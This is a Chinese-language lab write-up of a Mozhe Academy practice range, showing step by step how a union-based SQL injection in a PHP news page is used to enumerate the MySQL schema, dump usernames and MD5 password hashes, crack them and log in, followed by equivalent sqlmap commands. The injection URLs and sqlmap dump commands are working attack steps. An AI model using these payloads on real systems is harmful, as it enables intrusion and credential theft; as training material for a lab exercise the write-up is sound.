墨者学院sql手工测试记录

简介: 墨者学院sql手工测试记录

免责声明:本文仅供学习研究,严禁从事非法活动,任何后果由使用者本人负责。

一:思路

背景介绍

安全工程师"墨者"最近在练习SQL手工注入漏洞,自己刚搭建好一个靶场环境Nginx+PHP+MySQL,PHP代码对客户端提交的参数未做任何过滤。尽情的练习SQL手工注入吧。

流程

掌握SQL注入原理;

了解手工注入的方法;

了解MySQL的数据结构;

了解字符串的MD5加解密;

二:方法

方法一:手工注入

1. 开启靶场进入环境后发现一个登陆页面。(原以为此页面有注入点,各种尝试最终无疾而终,在查看源码时发现存在一个新的URL)

首页:

image.png

image.png

首页源码:

image.png

新的URL连接:

image.png

通过题目我们可以看出靶场环境是Nginx+PHP+MySQL

那我们现在启动、进入靶场

进入 靶场后我们可以看到是一个登录界面,但可以发现登录框下面有一个轮播提示新闻

找注入点

我们试着点进去看

我们点进去后,可以看到URL栏上存在一个?id=1,这里表示存在一个GET传参

image.png

要知道,SQL注入得核心是用户输入得内容被当作代码去执行

那我们现在来尝试一下,这里传参的是否输入可以被当作代码执行

这里我输入 and 1=1 网页没变,输入 and 1=2网页变了,这里就说明存在SQL注入漏洞

image.png



image.png





 

竟然知道存在SQL注入,那么就开始下面内容

要知道数据库有多个字段,有的数据会显示,而有的数据不会显示,这是开发所决定的,而我们接下来要用到union联合查询(而使用联合查询的条件是两条查询语句的字段数必须相同),所以我们也要知道这个网页交互的所在数据库表里有多少个字段。

这里可以得出总结:我们要知道有多少个字段,然后显示位在哪个字段

那么按照正常的SQL注入来走,就是使用 order by先获得字段数是多少,然后再使用union联合查询来找出显示位


image.png

image.png



这里我们就跳过重复的过程

到了 order by 5 页面报错,这里说明有4个字段

http://youIP/new_list.php?id=1  order by 4

image.png

image.png

好了,知道有四个字段后,我们要找出字段显示位

这里要说明一下,数据库的特性是如果两条语句都为真,先执行前面的语句再执行后面的语句

union 和order by不同的是,使用union联合查询不管前面得语句是否为真都会执行后面的语句

但是说过了,数据库特性是先执行前面的语句,所以如果前面的为真就会把显示位给占了显示前面的内容

所以我们要把前面执行的弄回and 1=2 ,让前面的内容位错,而把后面的内容显示出来

我们使用select 1,2,3,4来看一下显示位是哪个字段

http://youIP/new_list.php?id=-1  union select 1,2,3,4

image.png


这里我们就知道显示位了

在显示位3上使用database() 函数得到当前的数据库名(这里不管是显示位2,还是3,只要是输出位都可以)

爆库名

http://youIP/new_list.php?id=-1  union select 1,2,database(),4

数据库名:mozhe_Discuz_StormGroup

爆表

http://youIP/new_list.php?id=-1 union select  1, 2,group_concat(table_name) ,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'

表名:StormGroup_member,notice。(猜测第一个表是我们要的表)

image.png


爆列

http://youIP/new_list.php?id=-1 union select  1, 2,group_concat(column_name) ,4 from information_schema.columns where table_name='StormGroup_member'

字段:id,name,password,status


image.png




爆字段

发现有两个账号,用户名都是mozhe,密码不一样。

http://youIP/new_list.php?id=-1 union select  1, 2,group_concat(concat_ws('~',name,password)) ,4 from mozhe_Discuz_StormGroup.StormGroup_member

字段:mozhe~ 356f589a7df439f6f744ff19bb8092c0,mozhe~ c8e100ea135c6a8346b3e0747eb78060

MD5解密

解密第一个密码

image.png

image.png


发现这个账号密码别禁用了

image.png

解密第二个密码

image.png

登录

image.png

这个可以登陆进去,并且我们发现下面存在的KEY。

image.png

方法二:工具注入(sqlmap)

爆数据库名和当前用户

sqlmap  -u "http://youIP/new_list.php?id=1" -b --current-db  --current-user

image.png

image.png

爆表

sqlmap  -u "http://youIP/new_list.php?id=1"  -D mozhe_Discuz_StormGroup -tables

image.png

爆列

sqlmap  -u "http://youIP/new_list.php?id=1"  -D mozhe_Discuz_StormGroup -T StormGroup_member  -columns

image.png

爆字段信息

sqlmap  -u "http://youIP/new_list.php?id=1"  -D mozhe_Discuz_StormGroup -T StormGroup_member  -C name,password --dump

image.png





相关文章
|
6月前
|
SQL 存储 数据库
Python 的安全性和测试:什么是 SQL 注入攻击?如何防范 SQL 注入?
Python 的安全性和测试:什么是 SQL 注入攻击?如何防范 SQL 注入?
94 1
|
6月前
|
SQL 数据库
SQL 中的 NULL 值:定义、测试和处理空数据,以及 SQL UPDATE 语句的使用
NULL 值是指字段没有值的情况。如果表中的字段是可选的,那么可以插入新记录或更新记录而不向该字段添加值。此时,该字段将保存为 NULL 值。需要注意的是,NULL 值与零值或包含空格的字段不同。具有 NULL 值的字段是在记录创建期间留空的字段。
116 0
|
6月前
|
SQL 安全 关系型数据库
接上篇文章,在测试宝塔 WAF 的未授权访问漏洞时无意间还发现了一个 SQL 注入漏洞
接上篇文章,在测试宝塔 WAF 的未授权访问漏洞时无意间还发现了一个 SQL 注入漏洞,品相还不错,可执行任意 SQL 语句。 总之,吃了一惊,一个防 SQL 注入的工具居然也有 SQL 注入漏洞。 请看这段代码
581 8
|
SQL Java 数据库连接
mybatis之动态SQL测试环境的搭建以及if语句的使用~
mybatis之动态SQL测试环境的搭建以及if语句的使用~
151 0
mybatis之动态SQL测试环境的搭建以及if语句的使用~
|
1月前
|
SQL 关系型数据库 MySQL
SQL批量插入测试数据的几种方法?
SQL批量插入测试数据的几种方法?
93 1
|
4月前
|
SQL 安全 关系型数据库
使用SQLMap进行SQL注入测试
使用SQLMap进行SQL注入测试
|
6月前
|
SQL 测试技术 网络安全
Python之SQLMap:自动SQL注入和渗透测试工具示例详解
Python之SQLMap:自动SQL注入和渗透测试工具示例详解
699 0
|
6月前
|
SQL 关系型数据库 MySQL
Hive【基础知识 02-1】【Hive CLI 命令行工具使用】【准备阶段-建库、建表、导入数据、编写测试SQL脚本并上传HDFS】
【4月更文挑战第7天】Hive【基础知识 02-1】【Hive CLI 命令行工具使用】【准备阶段-建库、建表、导入数据、编写测试SQL脚本并上传HDFS】
86 0
|
6月前
|
SQL
leetcode-SQL-1280. 学生们参加各科测试的次数
leetcode-SQL-1280. 学生们参加各科测试的次数
52 0
|
11月前
|
SQL 网络安全 数据库
2021年中职“网络安全“江西省赛题—B-4:SQL注入测试(PL)
2021年中职“网络安全“江西省赛题—B-4:SQL注入测试(PL)
91 2